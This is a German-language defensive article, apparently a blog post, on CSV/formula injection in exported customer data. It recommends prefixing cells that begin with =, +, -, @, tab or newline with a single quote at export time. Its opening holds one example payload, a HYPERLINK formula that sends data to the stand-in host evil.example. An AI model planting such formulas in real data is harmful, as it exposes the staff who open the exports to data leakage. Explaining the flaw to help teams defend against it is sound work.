CSV-Injection: Der Export-Button, der Code ausführt
Ein Kunde gibt seinen Namen ein. Er tippt =HYPERLINK("http://evil.example/leak", "click"). Ihr System akzeptiert ihn. Es sieht wie normaler Text aus.
Wochen später exportiert Ihr Finanzteam eine Kundenliste als CSV. Sie öffnen die Datei in Excel. Diese Zelle ist kein Text mehr. Sie ist eine Formel.
Das ist CSV-Injection. Man nennt sie auch Formula Injection. Es ist ein häufiger Fehler in E-Commerce-Panels. Die meisten Teams testen nicht danach.
Tabellenkalkulationsprogramme behandeln nicht jede Zelle als Text. Wenn eine Zelle mit =, +, - oder @ beginnt, lesen Excel oder Google Sheets sie als Formel.
Eine Formel kann mehr als nur Mathematik. Sie kann eine URL erstellen. Sie kann eine Verbindung zu einem Netzwerk herstellen. In einigen Fällen kann sie Befehle auf einem Computer ausführen.
Die Daten bleiben in Ihrer Datenbank Text. Sie werden in dem Moment ausführbar, in dem ein Mensch die Datei öffnet. Meistens ist das Opfer ein Mitarbeiter mit hohen Zugriffsrechten.
Sie sind überall gefährdet, wo Sie Benutzerdaten exportieren:
- Exporte von Kundenname und -adresse
- In CSV exportierte Bestellübersichten
- Produkt-Feeds von Anbietern
- Exporte von Kontaktformularen
Ein Angreifer benötigt keinen Admin-Zugriff. Er setzt seinen eigenen Namen als Formel und wartet ab.
Versuchen Sie nicht, dies während der Eingabevalidierung zu beheben. Der Wert ist legitimer Text, bis eine Tabellenkalkulation ihn liest. Bereinigen Sie stattdessen die Daten, wenn Sie die CSV-Datei schreiben.
Wenn eine Zelle mit =, +, -, @, einem Tabulator oder einem Zeilenumbruch beginnt, fügen Sie am Anfang ein einfaches Anführungszeichen hinzu.
Beispiel-Logik: If the value starts with a trigger character, return "'" + value.
Das einfache Anführungszeichen weist die Tabellenkalkulation an, die Zelle als Text zu behandeln. Die Tabellenkalkulation blendet das Anführungszeichen für den Benutzer aus. Lassen Sie jedes Feld durch diese Prüfung laufen, bevor es in die Datei geschrieben wird.
Escapen Sie die Daten nicht in Ihrer Datenbank. Der Wert ist in Ihrer Datenbank und in Ihrem HTML völlig in Ordnung. Er ist nur in einer CSV gefährlich. Schützen Sie die CSV-Schnittstelle, um Ihre Daten an anderer Stelle sauber zu halten.
Vertrauen Sie Ihren internen Exporten nicht blind. Angreifer nehmen Ihr Personal über diese Dateien ins Visier.
CSV-Injection löst keine beängstigenden Scanner-Warnungen aus. Sie versteckt sich in dem Export-Button, den Sie vor Jahren gebaut haben. Überprüfen Sie jetzt Ihren CSV-Export-Code. Wenn Sie das erste Zeichen jeder Zelle nicht absichern, besteht ein Risiko.
